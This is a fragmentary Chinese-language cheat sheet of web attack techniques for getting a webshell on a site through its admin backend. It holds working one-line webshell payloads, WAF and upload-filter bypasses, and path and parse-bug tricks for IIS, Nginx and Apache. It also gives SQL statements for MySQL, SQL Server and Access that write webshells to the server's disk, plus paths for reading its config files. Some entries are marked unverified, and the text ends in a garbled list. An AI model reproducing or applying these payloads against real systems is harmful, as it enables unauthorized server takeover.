管理员后台直接上传
如果被Waf拦截 上传不加密的WebShell 先小
如果有权限改后台文件名 在文件名前加 …/尝试目录穿越
ex:a.php ->…/a.php
上传图片马并获取图片马路径,通过数据库备份修改后缀名,如有后缀名无法修改或路径无法修改限制可修改前端代码绕过.
当所备份的数据库来源无法修改时,我们可以通过首先将一句话木马写入数据库,如通过新建管理员用户,将用户名用一句话木马代替(用户名通常有长度限制,在前端修改maxlength即可)
<%eval request ("pass")%>
然后再通过备份数据库后访问此界面Getshell。
通常会碰到各种上传图片后图片重绘的情况
尝试使用工具绕过
有待补充
看这个大佬的文章
https://xz.aliyun.com/t/2657
修改网站上传类型,后台设置中添加aasps|asp|php|jsp|aspx|asa|cer,
保存后上传aasps等格式的文件,上传后为asp文件可以解析,Getshell
这种情况适用于一台服务器中有多个网站
如a网站为asp脚本,b网站为php脚本,而a中限制了上传文件类型为asp的文件,此时可以上传php的脚本,来拿shell;也可以尝试脚本文件后缀名改为asa或者在后面直接加个.如xx.asp.来突破文件类型限制进行上传来Getshell
有待补充
各种中间件存在着各式各样的解析漏洞
A、IIS6.0解析漏洞
http://www.xxx.com/xx.asp/xx.jpg //
http://www.xxx.com/xx.asp/xx.txt
http://www.xxx.com/xx.asp/xx.asp;jpg
B、IIS7.0/7.5、Nginx<8.0解析漏洞
http://www.xxx.com/xx.jpg/.php
C、Nginx<8.03空字节代码执行漏洞
版本范围:Nginx0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
http://www.xxx.com/xx.jpg%00.php
D、Apache解析漏洞
a、多后缀名
http://www.xxx.com/xx.php.owf.rar
werner.txt.png.mp3
b、罕见后缀
php、phtml、pht、php3、php4和php5为后缀,能成功看到“HELLO WORLD”;以phps为后缀,会报403错误,Forbidden;以php3p为后缀,会在浏览器中看到源码。
c、妙用.htaccess(分布式配置文件)
使.htaccess文件生效,需要两个条件:
一是在Apache的配置文件中写上
AllowOverride All
二是Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
若是在Ubuntu中,可能还需要执行命令:
sudo a2enmod rewrite
配置完后需要重启Apache。
此处要链接到另外一篇文章
https://blog.csdn.net/qq_40806924/article/details/118307640?spm=1001.2014.3001.5501
进入后台后,网站配置插马getshell,可以找到源码本地搭建,插入时注意与源码闭合,如果插入出错可能导致网站报废。如asp中单引号表示单行注释作用"%><%eval request(“password”)%><%’
通过网站的模版编写一句话,然后生成脚本文件getshell 通过将木马添加到压缩文件,把名字改为网站的模版类型,上传到服务器,getshell)(新建或修改目录名为xx.asp/ 此目录下的jsp,html会以asp执行,配置iis6.有0解析漏洞
修改后台脚本文件插入一句话直接Getshell,尽量插在头和尾。
###上传插件、更新页面Getshell
wordpress,dz等,如编辑wordpress404页面插入一句话,可以先下载对应版本找到404路径,部分OA上传插件Getshell, jboss,tomcat上传war包getshell等
有待实验
11、执行sql语句写入Webshell
首先执行错误的sql语句,使其暴露出网站的根目录以,ecshop为例,进入后台执行sql查询
select "" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";
执行该语法的时候 可能使用到 / 或者 \ 转义 或者末尾需要分号 ;
也可以先将一句话通过ecshop的新建管理员写入到user表中,然后通过数据库备份配合解析漏洞Getshell。(有待验证)
适应PHP
Windows
echo ^<^?php @eval($_POST[xxx]);?^>^ >c:\mua.php
Linux
echo -e "" > mua.php
Linux需要在$前加\进行防转义,Windows需要在<前加^防转义, 多多尝试
文件包含有时可绕过waf
asp包含
include file="123.jpg"调用的文件必须和被调用的文件在同一目录,否则找不到,如果不在同一目录,用下面语句也使用如下代码include virtual=“文件所在目录/123.jpg” 配合可解析的图片。
php包含
下面结果有待验证:
1、Access可导出xxx等文件需要配合 解析漏洞
create table cmd (a varchar(50));
insert into cmd (a) values ('muma') # 如:<%execute request(1)%>
select * into [a] 'e:\web\webshellcc\1.asa;x.xls''excel 4.0;' from cmd
drop table cmd
菜刀直连
https://xxx/1.asa;x.xls
2、SQL Sever导出
exec sp_makewebtask 'C:\test.php' ,'select "<%eval request("pass")%>" '--
#exec 执行存储过程
3、Mysql导出
phpMyAdmin
A、
create TABLE xiaoma (xiaoma1 text NOT NULL)
insert into xiaoma (xiaoma1) values('');
select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/1.php';
DROP TABLE IF EXISTS xiaoma;
B、
`select " into outfile 'D:/phpstudy/www/1.php'`
C、数据库路径未知时 GetShell
create table a(a text);load data infile "C:/phpstudy/Apache/conf/httpd.conf"
//创建表a 将httpd.conf 写入到表a中. load data infile 导入数据
随后导出 ,下载 ,打开搜索documentroot,网站路径存于此
用一下大佬的图
还可能存在的一些路径:
#Win
c:\windows\php.ini #php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
#Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
1、0day Getshell
2、写入日志Getshell
3、IIS/Tomcat写权限Getshell
4、上传漏洞Getshell
5、上传会员头像Getshell
6、注入漏洞Getshell
7、远程命令执行
8、其他漏洞GetshellIIS6.0解析漏洞